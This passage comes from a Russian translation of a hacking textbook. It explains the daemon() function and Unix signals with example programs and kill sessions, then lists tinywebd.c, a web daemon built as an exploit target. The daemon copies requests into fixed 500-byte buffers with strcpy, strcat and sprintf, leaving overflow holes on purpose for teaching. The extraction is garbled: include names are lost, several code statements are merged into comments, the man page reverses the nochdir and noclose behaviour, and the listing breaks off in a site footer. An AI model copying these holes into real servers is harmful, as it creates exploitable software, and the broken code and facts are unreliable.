Путем небольших изменений можно переделать код tinyweb.c (см. стр. 240), создав более реалистичный сетевой демон. В новом коде ис- пользуется функция daemon(), которая порождает новый фоновый про- цесс. Эта функция используется во многих процессах системных демо- нов Linux. Вот ее страница руководства:
DAEMON(3) Руководство программиста Linux DAEMON(3)
ИМЯ
daemon - запускает процессы в фоновом режиме
СИНТАКСИС
#include int daemon(int nochdir, int noclose );
ОПИСАНИЕ
Функция daemon() необходима для того, чтобы отключить программу от управляющего терминала и запустить ее как системный демон.
Если аргумент nochdir не нулевой, то daemon() изменяет текущий рабочий каталог на корневой (/). Если аргумент noclose не нулевой, то daemon() перенаправляет стандартный поток ввода/вывода ошибок в /dev/null.
ВОЗВРАЩАЕМЫЕ ЗНАЧЕНИЯ
(Эта функция порождает новый процесс, и если fork() завершается успешно, то родительский процесс вызывает _exit(0), чтобы дальнейшие ошибки воспринимались только дочерним процессом.) В случае успешного выполнения возвращается 0. Если возникла ошибка, то daemon() возвращает -1 и присваивает глобальной переменной errno значение, указанное в библиотечных функциях fork(2) и setsid(2).
−Системные демоны выполняются отдельно от управляющего термина- ла, поэтому вывод нового демона tinyweb идет в журнал. Не имеющие управляющего терминала демоны обычно управляются с помощью сиг- налов. Программа-демон tinyweb должна уметь принимать сигнал окон- чания работы, чтобы она могла корректно завершаться.

360
0x600 Противодействие
0x621 Краткие сведения о сигналах
Сигналы – это средство связи между процессами в UNIX. Выполне- ние процесса, получившего сигнал, прерывается операционной систе- мой, и вызывается обработчик сигнала. Сигналы обозначены номерами, и у каждого есть обработчик по умолчанию. Например, при нажатии на управляющем терминале программы клавиш Ctrl-C посылается сигнал прерывания, обработчик по умолчанию которого завершает программу.
Это позволяет закончить программу, даже если она вошла в бесконеч- ный цикл.
Можно создать собственный обработчик сигнала, зарегистрировав его с помощью функции signal(). В приведенном ниже примере регистри- руется несколько обработчиков сигналов, а в коде main есть бесконеч- ный цикл.
signal_example.c
#include
#include
#include
/* Сигналы, определенные в signal.h
* #define SIGHUP 1 разрыв связи
* #define SIGINT 2 прерывание(Ctrl-C)
* #define SIGQUIT 3 аварийный выход (Ctrl-\)
* #define SIGILL 4 неверная машинная инструкция
* #define SIGTRAP 5 прерывание-ловушка
* #define SIGABRT 6 используется как ABORT
* #define SIGBUS 7 ошибка шины
* #define SIGFPE 8 авария при выполнении операции с плавающей точкой
* #define SIGKILL 9 уничтожение процесса
* #define SIGUSR1 10 определяемый пользователем сигнал 1
* #define SIGSEGV 11 нарушение сегментации
* #define SIGUSR2 12 определяемый пользователем сигнал 2
* #define SIGPIPE 13 запись в канал есть, чтения нет
* #define SIGALRM 14 прерывание от таймера, установленного alarm()
* #define SIGTERM 15 завершение (от команды kill)
* #define SIGCHLD 17 сигнал процесса-потомка
* #define SIGCONT 18 продолжить после паузы
* #define SIGSTOP 19 стоп (сделать паузу)
* #define SIGTSTP 20 требование остановки от терминала [suspend]
(Ctrl-Z)
* #define SIGTTIN 21 фоновый процесс пытается читать стандартный ввод
* #define SIGTTOU 22 фоновый процесс пытается читать стандартный вывод
*/
/* Обработчик сигнала */
void signal_handler(int signal) {
printf(“Caught signal %d\t”, signal);
if (signal == SIGTSTP)
printf(“SIGTSTP (Ctrl-Z)”);

0x620 Системные демоны
361
else if (signal == SIGQUIT)
printf(“SIGQUIT (Ctrl-\\)”);
else if (signal == SIGUSR1)
printf(“SIGUSR1”);
else if (signal == SIGUSR2)
printf(“SIGUSR2”);
printf(“\n”);
}
void sigint_handler(int x) {
printf(“Caught a Ctrl-C (SIGINT) in a separate handler\nExiting.\n”);
exit(0);
}
int main() {
/* Registering signal handlers */
signal(SIGQUIT, signal_handler); // Задать signal_handler() signal(SIGTSTP, signal_handler); // в качестве обработчика signal(SIGUSR1, signal_handler); // этих сигналов.
signal(SIGUSR2, signal_handler);
signal(SIGINT, sigint_handler); // Задать sigint_handler() для SIGINT.
while(1) {} // Бесконечный цикл.
}
После компиляции и запуска этой программы регистрируются обра- ботчики сигналов, и программа входит в бесконечный цикл. Несмот- ря на то что программа застряла в цикле, поступающие сигналы будут прерывать ее выполнение, вызывая зарегистрированные обработчики сигналов. Ниже показано, как программа реагирует на сигналы, ко- торые можно генерировать с управляющего терминала. По окончании работы функции signal_handler() управление возвращается в прерван- ный цикл, а выполнение sigint_handler() завершает программу.
reader@hacking:/booksrc $ gcc -o signal_example signal_example.c reader@hacking:/booksrc $ ./signal_example
Caught signal 20 SIGTSTP (Ctrl-Z)
Caught signal 3 SIGQUIT (Ctrl-\)
Caught a Ctrl-C (SIGINT) in a separate handler
Exiting.
reader@hacking:/booksrc $
Конкретные сигналы можно посылать процессу с помощью команды kill
. По умолчанию она посылает сигнал уничтожения процесса (SIG-
TERM
). Запуск kill с ключом -l выводит все возможные сигналы. Ниже сигналы SIGUSR1 и SIGUSR2 посылаются программе signal_example, вы- полняемой в другом окне терминала.
reader@hacking:/booksrc $ kill -l
1) SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL
5) SIGTRAP 6) SIGABRT 7) SIGBUS 8) SIGFPE

362
0x600 Противодействие
9) SIGKILL 10) SIGUSR1 11) SIGSEGV 12) SIGUSR2 13) SIGPIPE 14) SIGALRM 15) SIGTERM 16) SIGSTKFLT
17) SIGCHLD 18) SIGCONT 19) SIGSTOP 20) SIGTSTP
21) SIGTTIN 22) SIGTTOU 23) SIGURG 24) SIGXCPU
25) SIGXFSZ 26) SIGVTALRM 27) SIGPROF 28) SIGWINCH
29) SIGIO 30) SIGPWR 31) SIGSYS 34) SIGRTMIN
35) SIGRTMIN+1 36) SIGRTMIN+2 37) SIGRTMIN+3 38) SIGRTMIN+4 39) SIGRTMIN+5 40) SIGRTMIN+6 41) SIGRTMIN+7 42) SIGRTMIN+8 43) SIGRTMIN+9 44) SIGRTMIN+10 45) SIGRTMIN+11 46) SIGRTMIN+12 47) SIGRTMIN+13 48) SIGRTMIN+14 49) SIGRTMIN+15 50) SIGRTMAX-14 51) SIGRTMAX-13 52) SIGRTMAX-12 53) SIGRTMAX-11 54) SIGRTMAX-10 55) SIGRTMAX-9 56) SIGRTMAX-8 57) SIGRTMAX-7 58) SIGRTMAX-6 59) SIGRTMAX-5 60) SIGRTMAX-4 61) SIGRTMAX-3 62) SIGRTMAX-2 63) SIGRTMAX-1 64) SIGRTMAX
reader@hacking:/booksrc $ ps a | grep signal_example
24491 pts/3 R+ 0:17 ./signal_example
24512 pts/1 S+ 0:00 grep signal_example reader@hacking:/booksrc $ kill -10 24491
reader@hacking:/booksrc $ kill -12 24491
reader@hacking:/booksrc $ kill -9 24491
reader@hacking:/booksrc $
Наконец командой kill -9 посылается сигнал SIGKILL. Обработчик это- го сигнала нельзя заменить, поэтому kill -9 всегда уничтожает про- цесс. Работающая на другом терминале программа signal_example по- казывает, какие сигналы приняты и что процесс уничтожен.
reader@hacking:/booksrc $ ./signal_example
Caught signal 10 SIGUSR1
Caught signal 12 SIGUSR2
Killed reader@hacking:/booksrc $
Сами сигналы достаточно просты, но связь между процессами может быстро превратиться в сложную систему зависимостей. К счастью, в демоне tinyweb сигналы используются только для корректного завер- шения, поэтому реализовать его несложно.
0x622 Демон tinyweb
Новая версия программы tinyweb является системным демоном, вы- полняемым в фоновом режиме без управляющего терминала. Он вы- водит свои данные в журнальный файл, проставляя метки времени
(timestamps), и перехватывает сигнал SIGTERM, получив который кор- ректно завершает работу.
Изменения невелики, но они создают гораздо более реалистичную цель для эксплойта. Новые участки кода в листинге выделены полужир- ным.

0x620 Системные демоны
363
tinywebd.c
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include “hacking.h”
#include “hacking-network.h”
#define PORT 80 // Порт, к которому будут подключаться пользователи.
#define WEBROOT “./webroot” // Корневой каталог веб-сервера
#define LOGFILE “/var/log/tinywebd.log” // Имя журнального файла
int logfd, sockfd; // Глобальные дескрипторы журнального файла и сокета
void handle_connection(int, struct sockaddr_in *, int);
int get_file_size(int); // Возвращает размер файла открытого дескриптора
void timestamp(int); // Записывает метку времени в дескриптор открытого файла
// Эта функция вызывается при уничтожении процесса.
void handle_shutdown(int signal) {
timestamp(logfd);
write(logfd, “Shutting down.\n”, 16);
close(logfd);
close(sockfd);
exit(0);
}
int main(void) {
int new_sockfd, yes=1;
struct sockaddr_in host_addr, client_addr; // Мои адресные данные socklen_t sin_size;
logfd = open(LOGFILE, O_WRONLY|O_CREAT|O_APPEND, S_IRUSR|S_IWUSR);
if(logfd == -1)
fatal(“opening log file”);
if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1)
fatal(“in socket”);
if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1)
fatal(“setting socket option SO_REUSEADDR”);
printf(“Starting tiny web daemon.\n”);
if(daemon(1, 0) == -1) // Запустить процесс демона в фоновом режиме.
fatal(“forking to daemon process”);
signal(SIGTERM, handle_shutdown); // Вызвать handle_shutdown для завершения.

364
0x600 Противодействие
signal(SIGINT, handle_shutdown); // Вызвать handle_shutdown для прерывания.
timestamp(logfd);
write(logfd, “Starting up.\n”, 15);
host_addr.sin_family = AF_INET; // Порядок байтов на узле host_addr.sin_port = htons(PORT); // short в сетевом порядке байтов host_addr.sin_addr.s_addr = INADDR_ANY; // Автоматически записать мой IP.
memset(&(host_addr.sin_zero), ‘\0’, 8); // Обнулить остаток структуры.
if (bind(sockfd, (struct sockaddr *)&host_addr, sizeof(struct sockaddr))
== -1)
fatal(“binding to socket”);
if (listen(sockfd, 20) == -1)
fatal(“listening on socket”);
while(1) { // Accept loop.
sin_size = sizeof(struct sockaddr_in);
new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_size);
if(new_sockfd == -1)
fatal(“accepting connection”);
handle_connection(new_sockfd, &client_addr, logfd);
}
return 0;
}
/* Эта функция обрабатывает соединение на заданном сокете
* от заданного адреса клиента и регистрирует в журнале с заданным
* дескриптором файла. Соединение обрабатывается как веб-запрос,
* и функция отвечает через сокет соединения. В конце работы функции
* переданный сокет закрывается.
*/
void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr,
int logfd) {
unsigned char *ptr, request[500], resource[500], log_buffer[500];
int fd, length;
length = recv_line(sockfd, request);
sprintf(log_buffer, “From %s:%d \”%s\”\t”, inet_ntoa(client_addr_ptr
->sin_addr), ntohs(client_addr_ptr->sin_port), request);
ptr = strstr(request, “ HTTP/”); // Поиск корректного запроса.
if(ptr == NULL) { // Это некорректный HTTP.
printf(“ NOT HTTP!\n”);
} else {
*ptr = 0; // Записать конец строки в конце URL.
ptr = NULL; // Записать NULL в ptr
// (сигнализирует о некорректном запросе).
if(strncmp(request, “GET “, 4) == 0) // Запрос GET

0x620 Системные демоны
365
ptr = request+4; // ptr is the URL.
if(strncmp(request, “HEAD “, 5) == 0) // Запрос HEAD ptr = request+5; // ptr is the URL.
if(ptr == NULL) { // Тип запроса неизвестен.
strcat(log_buffer, “ UNKNOWN REQUEST!\n”);
} else { // Корректный запрос, ptr указывает на имя ресурса if (ptr[strlen(ptr) - 1] == ‘/’) // Если ресурс оканчивается на ‘/’,
strcat(ptr, “index.html”); // добавить в конец ‘index.html’.
strcpy(resource, WEBROOT); // Поместить в resource
// путь к корню strcat(resource, ptr); // и дописать путь к ресурсу.
fd = open(resource, O_RDONLY, 0); // Попытка открыть файл.
if(fd == -1) { // Если файл не найден
strcat(log_buffer, “ 404 Not Found\n”);
send_string(sockfd, “HTTP/1.0 404 NOT FOUND\r\n”);
send_string(sockfd, “Server: Tiny webserver\r\n\r\n”);
send_string(sockfd, “”);
send_string(sockfd, “
1   ...   32   33   34   35   36   37   38   39   ...   51


написать администратору сайта